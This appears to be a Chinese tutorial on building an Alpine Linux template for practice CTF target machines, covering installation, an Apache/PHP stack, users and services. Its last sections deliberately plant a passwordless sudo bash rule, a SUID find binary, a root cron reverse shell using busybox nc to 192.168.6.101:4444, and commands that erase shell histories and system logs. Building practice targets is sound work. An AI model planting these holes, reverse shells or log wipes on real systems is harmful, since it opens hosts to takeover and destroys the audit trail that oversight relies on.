AlpineLinux模板构建
# 选择 AlpineLinux
Small. Simple. Secure.
Alpine Linux 是一个基于 musl libc 和 busybox 的安全、轻量级的 Linux 发行版。Alpine Linux 以其小巧的体积和高效的性能而闻名。
# Alpine Linux 官网
Alpine Linux 官网:https://www.alpinelinux.org/
下载 Virtual 版本镜像,适合虚拟机使用。

# 模板靶机用户
root:todd
# VirtualBox 安装 Alpine Linux
使用 VirtualBox 创建一个新的虚拟机,选择下载的 Alpine Linux 镜像进行安装。
安装完成,使用 root 用户登录,进入 live 安装环境,默认无密码,登录成功后,提示使用 setup-alpine 命令进行初始配置。
过程大多数选项保持默认即可,设置 root 密码 todd。

在提示选择镜像源时,使用 f 参数,让 alpine 自动尝试并选择最快的镜像源。

在安装过程会提示是否添加user,直接回车,使用默认的no,是否安装 openssh,输入 yes,是否允许 root 用户通过 ssh 登录,输入 yes。

磁盘选择列出的磁盘,使用方式选择sys,表示将 Alpine 安装到磁盘上,输入 y,确认写入并继续。

提示重启时,输入 poweroff 关闭虚拟机,移除virtualbox的光驱,更改启动顺序为硬盘启动,重新启动虚拟机。

现在,就可以尝试使用 ssh 远程登录 Alpine Linux 虚拟机了。
# 解决 VirtualBox 和 VMware 下网卡命名不一致导致的网络不可用问题
解决 Linux 在不同虚拟化平台(VirtualBox / VMware)之间迁移时,因可预测网卡命名机制导致的网络接口命名不一致问题
下面仅尝试在 Alpine Linux 上进行说明,其他发行版未测试。
查看磁盘分区信息,root分区在 /dev/sda3

这个分区名可能会因不同虚拟化平台而变化,使用 blkid 命令查看分区的 UUID,UUID 永远指向同一个分区。

编辑 /etc/update-extlinux.conf,修改 bootloader(锁死 eth0 + 稳定 root 分区)
找到 default_kernel_opts 行,修改为如下内容:
# default_kernel_opts="quiet rootfstype=ext4"
default_kernel_opts="quiet rootfstype=ext4 net.ifnames=0 biosdevname=0"
2
文件里已经默认指定了 root 分区为 UUID

应用配置,重启验证
update-extlinux
reboot
2
验证内核参数
root=UUID=7762e2e9-4b0c-4cf2-a61b-23111b666c5f
net.ifnames=0
biosdevname=0
2
3

# 修改 Alpine Linux ssh默认提示
编辑 /etc/motd 文件,修改 ssh 登录提示信息

效果:


# 修改开机 tty 控制台提示
IP、hostname 等信息需要动态获取,ubuntu、kali等发行版可以直接在 /etc/issue 里使用变量\4、\n,但是 Alpine Linux 不支持。
Alpine 使用 OpenRC + getty 服务管理 tty 控制台登录。
编辑:
vi /etc/inittab
修改 tty1,参数解释:
-n:表示不进行登录名的提示,直接调用指定的登录程序。-l /usr/local/bin/tty-banner.sh:指定登录程序为/usr/local/bin/tty-banner.sh脚本,而不是默认的登录程序(通常是/sbin/getty)。这个脚本可以自定义登录提示信息。
tty1::respawn:/sbin/getty -n -l /usr/local/bin/tty-banner.sh 38400 tty1
创建 /usr/local/bin/tty-banner.sh 脚本,内容如下:
#!/bin/sh
PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH
/usr/bin/clear 2>/dev/null || clear
HOST="$(hostname 2>/dev/null || echo unknown)"
IP="$(
/sbin/ip -4 addr show eth0 2>/dev/null \
| /usr/bin/awk '/inet /{print $2}' \
| /usr/bin/cut -d/ -f1
)"
[ -z "$IP" ] && IP="DHCP not ready"
cat <<'EOF'
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
* **
,* ,*
** *.
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *, HackMyVM
QQ Group: 660930334
EOF
echo " Hostname : $HOST"
echo " IP Addr : $IP"
exec /bin/login
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
赋予脚本可执行权限:
chmod +x /usr/local/bin/tty-banner.sh
效果图,丑是丑了点

流程:
init
└─ getty (respawn)
└─ -l tty-banner.sh
├─ 打印 banner
└─ exec /bin/login
2
3
4
5
# 安装 sudo
Alpine Linux 默认没有安装 sudo,可以手动安装。
sudo 包含在 community 仓库中,确保已经启用该仓库,编辑 /etc/apk/repositories 文件,取消注释 community 仓库。
vi /etc/apk/repositories
取消注释 community 仓库行:
http://dl-cdn.alpinelinux.org/alpine/v3.18/community
更新包索引并安装 sudo:
apk update
apk add sudo
2
验证安装成功:
sudo -V

# 安装 Apache2 + PHP web环境
安装 Apache2
apk add apache2
启动并设置为开机自启
rc-service apache2 start
rc-update add apache2 default
2
测试:
echo "<h1>Apache OK</h1>" > /var/www/localhost/htdocs/index.html

安装 PHP 和 php-fpm
apk add php php-fpm
确认 php-fpm 服务脚本名称:
注:Alpine 版本不同,PHP 版本号可能不同(如 php-fpm83),请根据实际按照的包名调整命令
localhost:~# ls -1 /etc/init.d | grep -E 'php|fpm'
php-fpm84
2
启动 php-fpm 并设置为开机自启
rc-service php-fpm84 start
rc-update add php-fpm84 default
2

# 配置 Apache2 解析 PHP
备份 /etc/php84/php-fpm.d/www.conf 文件
cp /etc/php84/php-fpm.d/www.conf /etc/php84/php-fpm.d/www.conf.bak
把非注释部分提取并覆盖回原文件
grep -v '^;' /etc/php84/php-fpm.d/www.conf.bak | grep '.' > /etc/php84/php-fpm.d/www.conf
编辑 php-fpm pool 配置,修改 listen 参数为 /var/run/php-fpm.sock
vi /etc/php84/php-fpm.d/www.conf
找到 listen 行,修改为:
listen = /run/php-fpm84/php-fpm.sock
添加 listen.owner 和 listen.group 行,设置 socket 文件的所有者和所属组为 apache
[www]
user = apache
group = apache
listen = /run/php-fpm84/php-fpm.sock
listen.owner = apache
listen.group = apache
listen.mode = 0660
pm = dynamic
pm.max_children = 5
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3
2
3
4
5
6
7
8
9
10
11
12
13
14

重启 php-fpm84,让 socket 生成
rc-service php-fpm84 restart
验证生成了 php-fpm.sock :

修改 Apache2 主配置文件,启用 PHP 支持
备份 /etc/apache2/httpd.conf 文件
cp /etc/apache2/httpd.conf /etc/apache2/httpd.conf.bak
把非注释部分提取并覆盖回原文件
grep -v '^#' /etc/apache2/httpd.conf.bak | grep '.' > /etc/apache2/httpd.conf
把 web 根目录改为 /var/www/html,修改主配置文件的 DocumentRoot 行:
DocumentRoot "/var/www/html"
<Directory "/var/www/html">
AllowOverride None
Require all granted
</Directory>
2
3
4
5
6

修改 ServerRoot 行:
ServerRoot /usr/lib/apache2
日志路径修改,同时添加访问目录时,默认返回 index.php 文件:
ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
2

下面还有条默认的日志路径,使用相对路径,注释掉

创建 /var/www/html 目录,并设置权限
mkdir -p /var/www/html
chown -R apache:apache /var/www/html
chmod -R 755 /var/www/html
mkdir -p /var/log/apache2
chown -R apache:apache /var/log/apache2
chmod -R 755 /var/log/apache2
2
3
4
5
6
配置 Apache2 以使用 PHP-FPM
修改主配置文件,在配置文件开头补充模块 proxy_module 和 proxy_fcgi_module,并配置处理 PHP 文件的方式。
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so
2
在主配置文件末尾IncludeOptional /etc/apache2/conf.d/*.conf之前添加以下内容:
<FilesMatch \.php$>
SetHandler "proxy:unix:/run/php-fpm84/php-fpm.sock|fcgi://localhost/"
</FilesMatch>
2
3

重启服务
rc-service php-fpm84 restart
rc-service apache2 restart
2
apache 报错,找不到动态模块 mod_proxy.so 和 mod_proxy_fcgi.so,发现我的模块都在 /usr/lib/apache2/ 目录下,而不是 /usr/lib/apache2/modules/ 目录下。

备份,在批量删除 modules 前缀
cp /etc/apache2/httpd.conf /etc/apache2/httpd.conf.bak2
sed -i 's# modules/# #g' /etc/apache2/httpd.conf
2
安装 mod_proxy 和 mod_proxy_fcgi 模块,mod_proxy_fcgi 打包在 mod_proxy里。
apk add apache2-proxy
编辑/etc/apache2/conf.d/proxy.conf,修改 modules/ 路径部分
备份
cp /etc/apache2/conf.d/proxy.conf /etc/apache2/conf.d/proxy.conf.bak
需要把 moudles/ 前缀删除

sed -i 's#modules/##g' /etc/apache2/conf.d/proxy.conf
重启服务,终于起来了
rc-service apache2 restart

在 web 根目录创建测试 PHP 文件
echo "<?php phpinfo(); ?>" > /var/www/html/index.php

此时,磁盘大小约为 110MB

# 补充基础工具环境
安装 curl、wget、netcat-openbsd、socat、bash 等基础工具,vim大小约为30-40MB,按需安装。
apk add curl wget netcat-openbsd socat bash
# 安装其他 (可选)
下面做命令安装演示,按需添加,不再统一添加到模板中。
安装vim
apk add vim
安装编译环境
# 安装 gcc, make, musl-dev 等编译环境
apk add build-base git
2
安装 python3、nodejs
apk add python3 nodejs npm
安装 nginx
apk add nginx
安装 mariadb
apk add mariadb mariadb-client
# 操作示例
# 设置主机名
编辑 /etc/hostname 文件,设置主机名
hostname="tmp"
echo "$hostname" > /etc/hostname
cat >/etc/hosts <<EOF
127.0.0.1 localhost
127.0.1.1 $hostname
::1 localhost ip6-localhost ip6-loopback
EOF
hostname -F /etc/hostname
2
3
4
5
6
7
8
# 简单设置提示符
创建 /etc/bash/prompt.sh 文件
cat > /etc/bash/prompt.sh <<'EOF'
[ -n "$BASH_VERSION" ] || return 0
if [ "$(id -u)" -eq 0 ]; then
PS1='\u@\h:\w# '
else
PS1='\[\e[1;32m\]\u@\h\[\e[0m\]:\w\$ '
fi
EOF
chmod 0644 /etc/bash/prompt.sh
2
3
4
5
6
7
8
9
给未来的用户生效:
mkdir -p /etc/skel
cat > /etc/skel/.bashrc <<'EOF'
case "$-" in
*i*) [ -r /etc/bash/prompt.sh ] && . /etc/bash/prompt.sh ;;
esac
EOF
chmod 0644 /etc/skel/.bashrc
2
3
4
5
6
7
创建 /etc/bash/bashrc 文件,/etc/profile.d/00-bashrc.sh会调用这个文件:
cat > /etc/bash/bashrc <<'EOF'
[ -r /etc/bash/prompt.sh ] && . /etc/bash/prompt.sh
EOF
2
3
# 创建移除普通用户
创建普通用户
- -D : 使用默认选项创建用户,不会提示输入额外信息。
- -G : 指定用户所属的附加组,这里将用户添加到 the0n3 组中。
- -s : 指定用户的登录 shell,这里使用 /bin/bash。
- -h : 指定用户的主目录,这里设置为 /home/the0n3。
- -g : 用户描述信息。
addgroup the0n3
adduser -D -G the0n3 -s /bin/bash -h /home/the0n3 the0n3
echo "the0n3:todd" | chpasswd
2
3
移除普通用户
# 移除用户及主目录
deluser --remove-home username
2
移除用户 the0n3 及其主目录:
deluser --remove-home the0n3
# 安装卸载常用工具包
alpine 使用 apk 包管理器安装常用工具包:
apk add xxx
例如,安装 git、curl、wget:
apk add git curl wget
安装 python3 和 pip:
apk add python3 py3-pip
如果只是需要 flask 服务,可以直接安装 flask 包:
apk add python3 py3-flask
卸载已安装的工具包:
apk del xxx
例如,卸载 git:
apk del git
# 服务操作
alpine 使用 OpenRC 管理服务。
设置服务开机自启:
rc-update add 服务名 default
取消服务开机自启:
rc-update del 服务名 default
启动服务:
rc-service 服务名 start
停止服务:
rc-service 服务名 stop
查看服务状态:
rc-service 服务名 status
重启服务:
rc-service 服务名 restart
# 创建自定义服务
创建 OpenRC 服务脚本
cat >/etc/init.d/app <<'EOF'
#!/sbin/openrc-run
name="app"
description="Run app.py as tuf user"
command="/usr/bin/python3"
command_args="/app/app.py"
command_user="tuf:tuf"
command_background="yes"
pidfile="/run/${RC_SVCNAME}.pid"
depend() {
need net
}
EOF
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
授予执行权限
chmod +x /etc/init.d/app
加入开机自启动并立即启动
rc-update add app default
# rc-service app start
2
# 添加 sudo 权限
编辑 /etc/sudoers 文件,或 /etc/sudoers.d/ 目录下创建新文件,以下几种格式:
# 允许用户 the0n3 使用 sudo 执行所有命令需要密码
the0n3 ALL=(ALL) ALL
# 允许用户 the0n3 使用 sudo 执行所有命令且不需要密码
the0n3 ALL=(ALL) NOPASSWD: ALL
# 允许用户 the0n3 使用 sudo 执行特定命令
the0n3 ALL=(ALL) NOPASSWD: /bin/ls, /usr/bin/id
2
3
4
5
6
给 the0n3 用户授权 sudo bash 举例:
echo 'the0n3 ALL=(ALL) NOPASSWD: /bin/bash' > /etc/sudoers.d/the0n3
chmod 0440 /etc/sudoers.d/the0n3
2
# 设置 SUID 权限
假设我们要创建一个拥有 SUID 权限的 find 命令作为提权点,这允许用户以文件所有者(通常是 root)的权限执行命令。
# 复制二进制文件到常用目录
cp /usr/bin/find /usr/local/bin/find
# 赋予 SUID 权限
chmod u+s /usr/local/bin/find
# 验证 SUID 权限
ls -l /usr/local/bin/find
2
3
4
5
6
7
# 定时任务
alpine 使用 crond 服务管理定时任务,可以在 /etc/crontabs/ 目录下创建文件名为用户名的脚本文件。
echo '* * * * * root /bin/bash -c "busybox nc 192.168.6.101 4444 -e bash"' > /etc/crontabs/root
# 痕迹清理
清理 bash 历史记录
# 如果有vim
mkdir -p /etc/vim
echo 'set viminfo=' >> /etc/vim/vimrc
# 清理当前会话历史、历史命令
history -c
rm -rf /root/.ash_history /home/*/.ash_history
rm -rf /root/.bash_history /home/*/.bash_history
rm -rf /root/.viminfo /home/*/.viminfo
ln -s /dev/null /root/.bash_history
ln -s /dev/null /home/*/.bash_history
rm -rf /root/.python_history /home/*/.python_history
# 清理日志
> /var/log/apache2/access.log
> /var/log/apache2/error.log
> /var/log/auth.log
> /var/log/apk.log
> /var/log/syslog
: > /var/log/wtmp
: > /var/log/btmp
> /var/log/messages
# 临时文件(可选)
rm -rf /tmp/* /var/tmp/*
# 靶机 ssh 记录
rm -rf /root/.ssh/known_hosts
rm -rf /home/*/.ssh/known_hosts
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
清理 apk 缓存
# 清理 apk 缓存
apk cache clean
rm -rf /var/cache/apk/*
2
3